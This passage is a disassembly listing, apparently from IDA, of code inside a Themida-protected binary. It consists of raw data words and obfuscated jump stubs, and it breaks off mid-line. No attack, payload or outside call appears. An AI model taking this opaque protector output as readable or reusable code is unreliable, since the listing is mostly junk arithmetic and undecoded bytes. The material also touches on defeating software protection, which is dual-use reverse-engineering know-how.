24348704h dd 5724248Bh, 0C781E789h, 4, 8704C783h, 0F0E9243Ch, 51FFFF6Bh dd 9200E9h, 24348900h, 321764BEh, 46DEF772h, 4070E946h dd 0D1880000h, 0A2E9C888h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2E7: ; CODE XREF: Themida_:0054DB7Ej add esp, 4 mov eax, edx pop edx sub esp, 4 jmp loc_54CC6C ; --------------------------------------------------------------------------- dd 0BB241C89h, 0C4D0F37h, 87D2E9h, 48F5A00h, 83E95C24h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E30F: ; CODE XREF: Themida_:005463A4j mov esi, [esp] add esp, 4 mov edx, esi pop esi push esi mov esi, 7B1B442Ah neg esi jmp loc_54B497 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 895C241Ch, 68B5240Ch, 0FF8802E9h, 0E9D5F7FFh dd 0FFFFD8F2h, 5C24048Fh, 2C181h, 0C870000h, 24248B24h dd 24048B66h, 92FEE953h, 0ACBFFFFFh, 81257506h, 1BB4DAF7h dd 5FF93130h, 27298B2Dh, 0E9C82947h, 89AEh ; --------------------------------------------------------------------------- loc_54E374: ; CODE XREF: Themida_:00544AABj sub ebp, ebx jmp loc_54F2D3 ; --------------------------------------------------------------------------- loc_54E37B: ; CODE XREF: Themida_:0054FC4Bj xor eax, [esp] mov esp, [esp] push eax mov eax, esp jmp loc_54369E ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8B000000h, 13E92414h, 8100004Ah, 4ECh, 240C8900h, 4B9h dd 59CA2900h, 5C241487h, 68241489h, 5CDFh, 52240C89h, 746DBA68h dd 6D8CE94Bh, 0E9520000h, 0FFFFFB61h, 51240C8Bh, 0FF5A14E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E3D1: ; CODE XREF: Themida_:005553FEj add esp, 4 push edx mov edx, 52A27613h add ecx, edx jmp loc_5473D6 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0DD7E9h db 0 ; --------------------------------------------------------------------------- loc_54E3E9: ; CODE XREF: Themida_:0054904Ej push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax mov eax, [esp] add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_543D16 ; --------------------------------------------------------------------------- db 5Ch dd 0FF9DB0E9h, 51D0B9FFh, 0E9812AC4h, 2FBA1EF9h, 75F6E181h dd 14E95AA6h, 56FFFFEAh, 0C681E689h, 4, 4C681h, 34870000h dd 0A9685C24h, 89000061h, 0A9B9240Ch, 8144D54Ch, 4076F2C1h dd 0E1C1497Dh, 25C18102h, 29708669h, 0A1B0E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E462: ; CODE XREF: Themida_:00551FC3j not ebp xchg ebp, [esp] pop esi inc esi push eax push ebp mov ebp, 5CD903B9h mov eax, 0D31B3AC9h sub eax, ebp jmp loc_554698 ; --------------------------------------------------------------------------- loc_54E47C: ; CODE XREF: Themida_:0054C473j xchg esi, [esp] pop esp xor esi, 0C71EE459h push 4762h jmp loc_5549E6 ; --------------------------------------------------------------------------- dd 0E7768h, 7285E900h, 29590000h, 0DCC281C2h, 0E91C6915h dd 8430h, 0FF2434FFh, 81582434h, 4C4h, 0F196800h, 0DDE90000h dd 0FEFFFF69h, 17E951C2h, 8BFFFFFEh, 37E9241Ch, 68FFFFD7h dd 7E21h, 8B243C89h, 78E92434h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E4DF: ; CODE XREF: Themida_:00553513j pop edi jmp loc_543B69 ; --------------------------------------------------------------------------- a1H6a db '1ьh6A',0 align 4 dd 0FFF172E9h, 241489FFh, 0FFF90FE9h, 81CF29FFh, 400933C7h dd 0EC85E90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E506: ; CODE XREF: Themida_:00548994j push dword ptr [esp] pop edx jmp loc_54E5A4 ; --------------------------------------------------------------------------- db 83h dd 0EF8101EFh, 785C36ACh, 176ABD55h, 0C5814638h, 67A62DC2h dd 2475CD81h, 4545603Bh, 2668ED81h, 4FE95CA6h, 6600002Ch dd 0E9C8B60Fh, 513Dh, 0E9C32859h, 8B76h, 0C181E189h, 4 dd 3304C183h, 0C31240Ch, 240C3324h, 70C0E95Ch, 0F75AFFFFh dd 1CF752D2h, 0B8F3E924h, 1489FFFFh, 1C6BA24h, 0D1890A44h dd 25B8E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E57E: ; CODE XREF: Themida_:00555476j push eax mov eax, 15F449DFh sub edi, eax jmp loc_555C1D ; --------------------------------------------------------------------------- db 53h dd 0F028C7BBh, 5BDA290Bh, 0FFB029E9h, 0CEE81FFh, 0E9650678h dd 0FFFFBC3Ch ; --------------------------------------------------------------------------- loc_54E5A4: ; CODE XREF: Themida_:0054E50Aj add esp, 4 jmp loc_554ABD ; --------------------------------------------------------------------------- aCs_t db 'CИ_▓',0 align 2 dw 0E801h dd 81242C8Bh, 4C4h, 0E2E95000h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5C3: ; CODE XREF: Themida_:00545119j mov [esp], ebx mov ebx, 45A875FDh mov edi, 0DC3C8D2Bh add edi, ebx jmp loc_553D33 ; --------------------------------------------------------------------------- db 81h dd 8EDAB1F3h, 5BD831F6h, 0E958C721h, 0FFFFA24Fh, 0BA52E589h dd 4, 575AD501h, 4BFh, 8BFD2900h, 0C481243Ch, 4, 5C242C87h dd 51243489h, 0FE59F5B9h, 5E1C142h, 5CE18141h, 81293C4Bh dd 28A5CAE9h, 4EC83BFh, 81240C89h, 50E22434h, 815E50E1h dd 0E150E2F6h, 240C8B50h, 8104C483h, 209BCCC6h, 20232DB6h dd 0F0295B89h, 2023BF57h, 88E95B89h, 8900001Dh, 6855241Ch dd 5D820AA0h, 0FFE892E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E661: ; CODE XREF: Themida_:0054A9FAj add edi, ebx jmp loc_5582BA ; --------------------------------------------------------------------------- dd 5C0ADEBFh, 5FFD0952h, 0F49FF581h, 0AE9A539h, 66FFFFBAh dd 4EEC058h, 8003E6C0h, 0E9510DF6h, 0FFFFB854h ; --------------------------------------------------------------------------- loc_54E68C: ; CODE XREF: Themida_:0054953Aj push ebp jmp loc_551B78 ; --------------------------------------------------------------------------- aZsK db 'ZИфk',0 align 4 dd 4EC835Bh, 0E9240C89h, 0FFFF6A7Ah ; --------------------------------------------------------------------------- loc_54E6A4: ; CODE XREF: Themida_:0054D92Cj pop edx or edi, eax pop eax push 0 sub [esp], edi jmp loc_546E41 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 57210000h, 2434FF1Ch, 8124148Bh, 4ECh, 24048900h dd 372F68h, 24248900h, 3021E955h, 0B8E90000h, 0B1FFFF4Bh dd 66CE0001h, 70EE8059h, 748FE9h db 0 ; --------------------------------------------------------------------------- loc_54E6F1: ; CODE XREF: Themida_:00549642j add esp, 4 push edi mov edi, 36672146h add esi, edi pop edi jmp loc_54D5B4 ; --------------------------------------------------------------------------- aFYsV db '╬ЙfдyИфv',0 dw 5400h dd 0E924048Fh, 8493h, 0FF4B7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E71D: ; CODE XREF: Themida_:00550BB2j add ebx, edx pop edx jmp loc_555A25 ; --------------------------------------------------------------------------- loc_54E725: ; CODE XREF: Themida_:00553DDCj add esp, 4 add edx, 4 xor edx, [esp] jmp loc_5566AD ; --------------------------------------------------------------------------- dw 3005h dd 297B3E5Dh, 5D302DE8h, 875D7B3Eh, 2AE92404h, 81000047h dd 9C807FC1h, 59CD89FBh, 2805C581h, 0DFE906A0h, 5B000061h dd 45888B8h, 0E0C14008h, 6F066805h, 4890000h, 2414F724h dd 5A8CE958h, 6850FFFFh, 190C3AA7h, 0FF884BE9h, 22B450FFh dd 286EEA80h, 6EC280E2h, 8BD00058h, 0C4812414h, 4, 464A68h dd 24348900h, 0DA68E689h, 89000075h, 0ADE9240Ch, 5FFFFF7Ch dd 2FDE68h, 24348900h, 0FF4BE4E9h, 0C1BB53FFh, 0E9750401h dd 3DDDh, 8124048Bh, 4C4h, 247C0100h, 2434FF04h, 4C4815Fh dd 5E000000h, 2ED8E9h, 24048B00h, 4C481h, 0F3010000h, 5624348Bh dd 0C681E689h, 4, 0FFBFC3E9h db 0FFh byte_54E805 db 68h, 0E8h, 67h ; DATA XREF: Themida_:00542FD8o dd 1C890000h, 91ABB24h, 0C381574Fh, 440066D9h, 52F768h dd 243C8900h, 4F6BF368h, 0EB815F9Bh, 1F871813h, 0E0E9FB29h dd 0F700000Eh, 0D2EE81D6h, 8157F370h, 7940CDCEh, 4EC8138h dd 89000000h, 3CE9242Ch db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E84F: ; CODE XREF: Themida_:00552539j xchg esi, ebx and ebx, 2AA86AB2h add ebx, 1250119Dh and edx, ebx pop ebx jmp loc_54E1C8 ; --------------------------------------------------------------------------- db 58h, 0C1h, 0E9h dd 0FFE98107h, 0E9FFFFFFh, 0FFFF8FA1h ; --------------------------------------------------------------------------- loc_54E874: ; CODE XREF: Themida_:00546C05j shr eax, 2 inc eax add eax, 455FA38h jmp loc_54A493 ; --------------------------------------------------------------------------- dw 7401h dd 44810424h, 15F30424h, 21E91F10h, 29FFFF8Ch, 4875EF0h dd 0D5EDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E89E: ; CODE XREF: Themida_:0054B68Dj push eax mov eax, 530F12AFh dec eax or eax, 1F101935h neg eax inc eax xor eax, 0A0E0E446h jmp loc_5505BA ; --------------------------------------------------------------------------- db 55h dd 0FF5EA6E9h, 5EF131FFh, 505AE952h, 6C01FFFFh, 6C810824h dd 6CA30824h, 0E95D7618h, 0FFFFCAEAh, 8324048Bh, 0F22904C4h dd 5E2434FFh, 4C481h, 57E90000h, 87FFFFC3h, 0E9D6F7F2h dd 0FFFF5ACFh, 0FF499EE9h, 240487FFh, 4603E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E906: ; CODE XREF: Themida_:00547E37j mov esi, 417917B3h and ecx, esi pop esi add ecx, 13CC43D6h sub edx, 550C6714h add edx, 0EDF1DA0h jmp loc_54F3A8 ; --------------------------------------------------------------------------- db 68h, 0Ah, 6Dh dd 0C8B4584h, 4C48124h, 81000000h, 7B932EC1h, 0B86851BAh dd 8900000Eh, 83572404h, 53E904ECh, 5A00006Fh, 0FF7906E9h dd 80DE00FFh, 97E99DC6h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E95B: ; CODE XREF: Themida_:0054DDF6j push esi push eax jmp loc_5495F1 ; --------------------------------------------------------------------------- loc_54E962: ; CODE XREF: Themida_:00550E8Fj mov edx, [esp] jmp loc_54BB02 ; --------------------------------------------------------------------------- loc_54E96A: ; CODE XREF: Themida_:00546BDDj jmp loc_54329B ; --------------------------------------------------------------------------- loc_54E96F: ; CODE XREF: Themida_:005525E6j sub esi, 2EB06AB1h add esi, edx add esi, 2EB06AB1h push eax mov eax, 25C573Ah sub eax, 0E3D4ED37h push ebp mov ebp, 60F72CFh sub ebp, 9CF60417h sub esi, 6BE10D08h jmp loc_551014 ; --------------------------------------------------------------------------- aSsh db '^ИХH',0 dd 2434FF00h, 0E0895059h, 405h, 4C08300h, 8B240487h, 0EC812424h dd 4, 0E9242C89h, 0FFFFCE7Eh, 4B850h, 0C7810000h, 1315CBEh dd 0EF81C701h, 1315CBEh, 4C78358h, 8B243C87h, 4872424h dd 5DE8E924h, 0CC30FFFFh, 0EB805966h, 0C22FE91Ch, 0EB81FFFFh dd 4, 5C241C87h, 54240489h, 0E92434FFh, 4B82h ; --------------------------------------------------------------------------- loc_54EA10: ; CODE XREF: Themida_:0054BB67j add esp, 4 push edx mov edx, edi mov ebx, edx pop edx pop edi jmp loc_54FA32 ; --------------------------------------------------------------------------- loc_54EA22: ; CODE XREF: Themida_:00556877j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54A86F ; --------------------------------------------------------------------------- dw 0E389h dd 0FFA7DBE9h, 8DBD55FFh, 0E9285379h, 0FFFFB6A5h, 4BB53h dd 6C810000h, 550424h, 5C0159D2h, 44810424h, 550424h, 0BEE959D2h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA67: ; CODE XREF: Themida_:0054D5BCj add esi, 20005AC1h jmp loc_54C252 ; --------------------------------------------------------------------------- dw 0D501h dd 28BDE9h, 0FBF18100h, 31098D7Ch, 0D50159CAh, 4C5835Ah dd 8B242C87h, 0D8012424h, 1E5E951h, 0C4830000h, 24048F04h dd 0E924248Bh, 0FFFF9B47h, 0D80105BAh, 3FBE563Bh, 8169130Ch dd 3B7844F6h, 40C6810Dh, 4E24B425h, 0FFFFEE81h, 5257FFFFh dd 16FAE9h, 243C8900h, 24048156h, 23813EDFh, 0DFEF815Fh dd 8923813Eh, 815E5FFBh, 9E41F0C3h, 81D30135h, 9E41F0EBh dd 88515235h, 59CE88C1h, 4EC81h, 0C890000h, 88F18824h dd 148B590Bh, 4C48324h, 0FF2434FFh, 815B2434h, 4C4h, 4C48100h dd 0E9000000h, 0FFFF477Bh, 51525A66h, 0FF6765E9h, 0DE2158FFh dd 83241C8Bh, 6804C4h, 29000000h, 0B7E92434h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB3F: ; CODE XREF: Themida_:0054C8DAj sub ecx, 517223FFh add ebp, ecx pop ecx push edi mov edi, 33C928F4h sub ebx, edi pop edi sub ebx, ebp push ecx jmp loc_544689 ; --------------------------------------------------------------------------- loc_54EB59: ; CODE XREF: Themida_:00551B63j pop ax push ecx mov cl, dl jmp loc_5492BB ; --------------------------------------------------------------------------- db 33h dd 1C31241Ch, 241C3324h, 7BF7E9h, 243C8B00h, 0FFC5A7E9h dd 5BEE81FFh, 83317673h, 48904ECh, 2E13B824h, 0FAE97C11h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EB8F: ; CODE XREF: Themida_:005556A2j add edi, eax pop eax jmp loc_5441A2 ; --------------------------------------------------------------------------- db 29h dd 8BF589EEh, 0C4812434h, 4, 0EC81DDF7h, 4, 0BE243489h dd 0F973F8B9h, 0E95EF501h, 84BDh, 79E9CA89h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EBC3: ; CODE XREF: Themida_:005471B4j add esp, 4 jmp loc_55265F ; --------------------------------------------------------------------------- loc_54EBCE: ; CODE XREF: Themida_:00557B7Dj mov ecx, 664F61BCh shr ecx, 5 xor ecx, 3327B09h jmp loc_5443AB ; --------------------------------------------------------------------------- db 59h, 0E9h, 91h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EBE7: ; CODE XREF: Themida_:0054D358j mov ebp, eax pop eax xor ebp, 32942C43h jmp loc_5552A8 ; --------------------------------------------------------------------------- db 1, 0EBh, 0E9h dd 0FFFFA991h ; --------------------------------------------------------------------------- loc_54EBFC: ; CODE XREF: Themida_:005510B6j add ebx, 4 jmp loc_5547C6 ; --------------------------------------------------------------------------- db 89h dd 0BF572434h, 49A16CDAh, 505FFE89h, 4327E3B8h, 0F8D7BB24h dd 0C3290E9Fh, 0E9F30158h, 0FFFFC1C9h, 1194E954h, 0E9520000h dd 1C14h, 666C68h, 243C8900h, 0C781E789h, 4, 4EF81h, 3C870000h dd 6352E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC52: ; CODE XREF: Themida_:0054CE59j add dword ptr [esp+4], 1C3368C5h sub dword ptr [esp+4], 633E6047h sub dword ptr [esp+4], 3B8B79D4h sub [esp+4], ebp add dword ptr [esp+4], 3B8B79D4h jmp loc_551AFC ; --------------------------------------------------------------------------- db 0B9h dd 3721358Bh, 1406105h, 0EEBD5569h, 810E8A1Ch, 0BE26FAC5h dd 0E6C7E92Ah, 895CFFFFh, 0E954240Ch, 7350h ; --------------------------------------------------------------------------- loc_54ECA0: ; CODE XREF: Themida_:00555AB5j push edx jmp loc_5496F2 ; --------------------------------------------------------------------------- loc_54ECA6: ; CODE XREF: Themida_:005501E0j mov edx, 32551040h jmp loc_544CA5 ; --------------------------------------------------------------------------- dd 2C781h, 3C870000h, 8E345C24h, 65E9C108h, 29FFFF78h dd 24148BD3h, 4C481h, 0C3290000h, 0FFF1E2E9h, 243C8BFFh dd 32EBE9h, 4B95100h, 1000000h, 0E259E9CEh, 0E0C1FFFFh dd 129F3503h, 0DE05043Ah, 893F77F8h, 0EA8158C2h, 0CA26F80Ch dd 39BCBB53h, 0DF296E28h, 0FF79F2E9h, 89505EFFh, 0C8BE56E0h dd 5200A37Ah, 5C853CBAh, 5AD601FFh, 535EF001h, 468h, 241C8B00h dd 8E13E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED32: ; CODE XREF: Themida_:0054E27Ej add esp, 4 push esi mov esi, 8092B09h sub edi, 3E8A271Ch sub edi, esi add edi, 3E8A271Ch pop esi push eax jmp loc_5432D9 ; --------------------------------------------------------------------------- loc_54ED50: ; CODE XREF: Themida_:005541BBj sub edi, esi jmp loc_555794 ; --------------------------------------------------------------------------- loc_54ED57: ; CODE XREF: Themida_:005479B3j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_546DE7 ; --------------------------------------------------------------------------- loc_54ED7E: ; CODE XREF: Themida_:00552392j mov al, 0 jmp loc_54767E ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 5F11E95Ch, 0E1890000h, 1060E9h, 0E9F12900h, 3A4Dh ; --------------------------------------------------------------------------- loc_54ED9C: ; CODE XREF: Themida_:0054A606j shl eax, 6 add eax, 65ED3A98h inc eax push esi mov esi, 0FE18ECD5h jmp loc_550DA0 ; --------------------------------------------------------------------------- loc_54EDB0: ; CODE XREF: Themida_:00549482j xchg esi, [esp] mov esp, [esp] mov [esp], esi mov esi, eax push ebx jmp loc_54D71C ; --------------------------------------------------------------------------- loc_54EDC1: ; CODE XREF: Themida_:00557113j sub edx, ecx pop ecx jmp loc_558185 ; --------------------------------------------------------------------------- loc_54EDC9: ; CODE XREF: Themida_:0054DF48j sub eax, 4 xor eax, [esp] jmp loc_5576D7 ; --------------------------------------------------------------------------- dw 0FDBAh dd 5275ED28h, 81243C8Bh, 4C4h, 24148B00h, 4C481h, 6EE90000h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EDF3: ; CODE XREF: Themida_:00555F3Fj mov ecx, 7C380952h xor ecx, 51A94E79h add ecx, 0DF8B2368h xor edi, ecx pop ecx add edi, 1EEDDEA6h add eax, 3D7F7724h sub eax, 8CE39DAh sub eax, edi add eax, 8CE39DAh sub eax, 3D7F7724h pop edi add eax, edi push ebx mov ebx, 380C3F40h add eax, ebx push dword ptr [esp] jmp loc_54AA1C ; --------------------------------------------------------------------------- loc_54EE36: ; CODE XREF: Themida_:005577C5j push ebp mov ebp, esp add ebp, 4 jmp loc_550764 ; --------------------------------------------------------------------------- loc_54EE44: ; CODE XREF: Themida_:0054352Aj add bl, dh mov edx, [esp] jmp loc_554F1A ; --------------------------------------------------------------------------- loc_54EE4E: ; CODE XREF: Themida_:0054561Dj push 5BF5h jmp loc_5486E0 ; --------------------------------------------------------------------------- loc_54EE58: ; CODE XREF: Themida_:0054339Aj add al, dl add al, 95h jmp loc_546D68 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8108EEC1h, 762ED3C6h, 14F7566Bh, 24348B24h, 0FFE601E9h dd 240C8BFFh, 5104C483h, 61026DB9h, 0E9C1412Ch, 0FFC18107h dd 81FFFFFFh, 0C9653E9h, 87C38103h, 10B9D0Eh, 87EB81CBh dd 0E90B9D0Eh, 0FFFFB71Eh, 24148B5Bh, 0FF477CE9h, 0DEF75EFFh dd 771AE94Eh db 2 dup(0FFh) word_54EEBA dw 8B66h ; DATA XREF: Themida_:0054311Co dd 0B4E92404h, 81FFFFC1h, 522D42F3h, 348B5326h, 4C48324h dd 56B8505Bh, 15E534Eh, 0E68158C6h, 55915034h, 0BFD4C681h dd 0C381EA7Eh, 4CD7330Fh, 0EB81F301h, 4CD7330Fh, 38AE9h dd 242C8B00h, 4C481h, 0E2C10000h, 8E2C106h, 5505EAC1h dd 513004BDh, 0E9EA3103h, 917Bh, 348BF701h, 499BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EF22: ; CODE XREF: Themida_:0054AA29j push ecx jmp loc_54BC9A ; --------------------------------------------------------------------------- dd 4245401h, 4246C81h, 5CD56A3Ah, 4246C81h, 66762E30h dd 0FFCA60E9h, 7420BDFFh, 0EDD15E2Eh, 6AAAE957h, 0DEF7FFFFh dd 7F9FEE81h, 45057123h, 2D3AF453h, 1E020DC3h, 0C305F001h dd 2D1E020Dh, 3AF45345h, 214E2D5Eh, 0BB532F85h, 77495254h dd 97BE564Bh, 18C9618h, 0D8015EF3h, 6280E9h, 4C48100h dd 1000000h, 4EC81C2h, 89000000h, 0E2682434h, 0E900006Eh dd 0FFFFA5FAh ; --------------------------------------------------------------------------- loc_54EFA4: ; CODE XREF: Themida_:005575D3j push 135Ch mov [esp], esi push 74B7245Dh jmp loc_54BCFB ; --------------------------------------------------------------------------- dw 0C483h dd 15BD5504h, 815CA546h, 0C9372CCDh, 89B0E938h, 47B3FFFFh dd 0E901EB80h, 0FFFFDD37h ; --------------------------------------------------------------------------- loc_54EFD4: ; CODE XREF: Themida_:0054B28Bj add ebx, 0AC9E3D97h mov ebp, ebx pop ebx jmp loc_549D04 ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 8924248Bh, 0B0502414h, 685C68E4h, 5AE90000h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EFFB: ; CODE XREF: Themida_:00545ADBj push 6FF5D2Ah pop ecx add dword ptr [esp+8], 49677563h add dword ptr [esp+8], 442F5335h add [esp+8], ecx sub dword ptr [esp+8], 442F5335h push esi mov esi, 49677563h sub [esp+0Ch], esi pop esi pop ecx add [esp+4], ebp sub dword ptr [esp+4], 6FF5D2Ah pop ebp push dword ptr [esp] pop eax jmp loc_54545A ; --------------------------------------------------------------------------- loc_54F03F: ; CODE XREF: Themida_:0054B1D7j mov [esp], ebp push ebx pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push 0BF7h mov [esp], ebp mov ebp, 4 sub edx, ebp jmp loc_54991D ; --------------------------------------------------------------------------- db 5Eh, 57h, 0E9h dd 0FFFF8293h, 0E99CC885h, 0FFFF420Fh, 0E952F828h, 0FFFF58F7h dd 42474FFh, 24048F5Ah, 8924248Bh, 0DFBE2434h, 2967517Ah dd 2434FFF0h, 4C4835Eh, 7D0DE956h, 0B105FFFFh, 52133C36h dd 87653DBAh, 5AD02931h, 9DE9D801h, 100004Ch, 0A6685EF1h dd 0E900001Fh, 22B8h ; --------------------------------------------------------------------------- loc_54F0D8: ; CODE XREF: Themida_:005568D3j add esp, 4 sub edx, 0E9BC4F5Ah sub ecx, edx pop edx add ecx, ebp jmp loc_55633D ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835A24h, 45685704h, 0E9000016h, 193Fh, 0F3285966h dd 0E92434FFh, 6913h, 1C4EE8B8h, 353A2D2Dh, 924806D8h dd 5392DAF7h, 0CA5F02BBh, 4D5AE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F126: ; CODE XREF: Themida_:0055833Bj mov ebx, 2E132DCBh sub ebx, 713E08EAh add ebx, 77635D04h dec ebx not ebx shr ebx, 5 xor ebx, 65E3BF4h mov esi, ebx pop ebx add ebx, 3BAA2113h sub ebx, esi sub ebx, 3BAA2113h pop esi sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_557CDA ; --------------------------------------------------------------------------- loc_54F164: ; CODE XREF: Themida_:00554D91j sub al, ch push dword ptr [esp] mov ecx, [esp] jmp loc_5557F6 ; --------------------------------------------------------------------------- db 81h, 0F3h, 2Eh dd 81E63E2Bh, 0D03EAACBh, 0E7C38153h, 0E92C8624h, 0FFFF647Bh dd 0E924248Bh, 0FFFFA5D1h, 0E95FFA01h, 3A11h, 0B7241C89h dd 0FFF888BAh, 815B2434h, 4C4h, 7E0C000h, 8106E0C0h, 2ECh dd 14896600h, 0E9C28824h, 0FFFFF2FFh, 8B54515Ch, 0C481240Ch dd 4, 4C181h, 18E90000h, 59FFFFACh, 2CE9EE29h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F1DF: ; CODE XREF: Themida_:00550755j and ecx, 47642515h jmp loc_547026 ; --------------------------------------------------------------------------- dw 0D301h dd 8324148Bh, 0FF5304C4h, 5B042474h, 8B24048Fh, 24D32424h dd 41D2E924h, 14890000h, 0B2525324h, 5AD388FDh, 0DA30A1B2h dd 2C6A045Bh, 28B904BFh, 83B92CD0h, 1C8904ECh, 4EC8124h dd 0E9000000h, 0FFFFD2EBh, 1344C381h, 8FE9D4CEh, 8BFFFF5Eh dd 0C892424h, 0B6C9E924h, 595FFFFFh, 4EC8155h, 89000000h dd 0BB68241Ch, 0E92A516Ah, 0FFFFDC74h, 0E9ADC380h, 6CCFh dd 0CA89D129h, 27D5E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F26E: ; CODE XREF: Themida_:005552EBj mov ebx, 4 sub eax, 7EAC605Eh jmp loc_55460F ; --------------------------------------------------------------------------- aS_7 db ']Иы*',0 dw 8B00h dd 0C4832434h, 4EC8304h, 3410E9h, 0E6C15E00h, 2E6C107h dd 223DC681h, 0F7890DD9h, 0F4F7815Eh, 0E9648F50h, 0FFFF9C8Eh dd 8704ED83h, 895C242Ch, 88BA2414h, 0C104C05Eh, 0E2C103E2h dd 0CA814A04h, 593C06F1h, 5F2BB53h, 8E91A66h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F2D3: ; CODE XREF: Themida_:0054E376j pop ebx add eax, ebp jmp loc_553A28 ; --------------------------------------------------------------------------- db 1 dd 0EC8159CAh, 4, 0B9240C89h, 4, 2A3AC281h, 0CA011126h dd 2378BE56h, 0CE817D7Ah, 1579218Ch, 1D1DC681h, 0CE817383h dd 56F81A54h, 0CEDDBA52h, 0D6011A27h, 5EF2295Ah, 0FFD892E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F31D: ; CODE XREF: Themida_:0054AB6Ej add ebp, edx pop edx xor edx, ebp pop ebp push edx push esi mov esi, 54DE346Fh xor [esp+4], esi jmp loc_54A474 ; --------------------------------------------------------------------------- db 59h dd 0C4E9FA01h, 68FFFFE1h, 55D0h, 0E9243C89h, 0FFFFB0F7h ; --------------------------------------------------------------------------- loc_54F348: ; CODE XREF: Themida_:0055513Aj sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 jmp loc_543612 ; --------------------------------------------------------------------------- loc_54F35E: ; CODE XREF: Themida_:00549E42j push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 push edx mov edx, 3540401Bh push ebx push 193h jmp loc_549C88 ; --------------------------------------------------------------------------- dw 0FA87h dd 0FA87D7F7h, 4EC81h, 2C890000h, 0E6BE5624h, 891CEF00h dd 44DAE9F5h, 0E95AFFFFh, 0FFFFBFF0h ; --------------------------------------------------------------------------- loc_54F3A8: ; CODE XREF: Themida_:0054E920j add edx, 23AE097Ch add edx, ecx jmp loc_54549E ; --------------------------------------------------------------------------- db 1, 54h, 24h dd 0A0E95504h, 1000036h, 0DE6857D8h, 0E9000016h, 5DBEh dd 77011F05h, 0ECE9503Fh, 8BFFFFBAh, 0C481242Ch, 4, 0F75BD989h dd 5E9C1D1h, 213EC181h, 30E96F7Bh, 80FFFF9Bh, 54E9ACF7h db 0AFh, 2 dup(0FFh) byte_54F3FB db 0ACh ; DATA XREF: Themida_:005431ECo dd 5366D830h, 3CC56866h, 24048966h, 0B8042BB0h, 5DB35352h dd 0C003EBC0h, 0EB8003EBh, 5BDE8849h, 64B45066h, 303FEC80h dd 38C8E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F42A: ; CODE XREF: Themida_:005450C5j xor ebx, 2EC6402Ah push ebx jmp loc_548E0C ; --------------------------------------------------------------------------- loc_54F436: ; CODE XREF: Themida_:00557806j sub eax, 28FE00A6h add eax, ecx add eax, 28FE00A6h mov ecx, [esp] add esp, 4 sub eax, 53264726h add eax, esi jmp loc_5507A3 ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 0C92DE924h, 1489FFFFh, 4BA24h, 0D1010000h dd 0E924148Bh, 5A89h, 0A7685755h, 5F491262h, 11E9EFD1h dd 29FFFF4Bh, 0E27FE9EFh, 0FD01FFFFh, 47E1E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F492: ; CODE XREF: Themida_:005434CEj pop dword ptr [esp] not ecx xchg ecx, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push 3608h mov [esp], edx push esp mov edx, [esp] push edi mov edi, esp add edi, 4 jmp loc_54FF1C ; --------------------------------------------------------------------------- db 0B8h dd 3721358Bh, 0E958C789h, 7F5Eh, 315AD189h, 0C68159CEh dd 93715E08h, 3674C381h, 0F2E9580Dh db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F4DF: ; CODE XREF: Themida_:00548698j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 5CBFh mov [esp], edx sub esp, 4 jmp loc_54FE36 ; --------------------------------------------------------------------------- loc_54F505: ; CODE 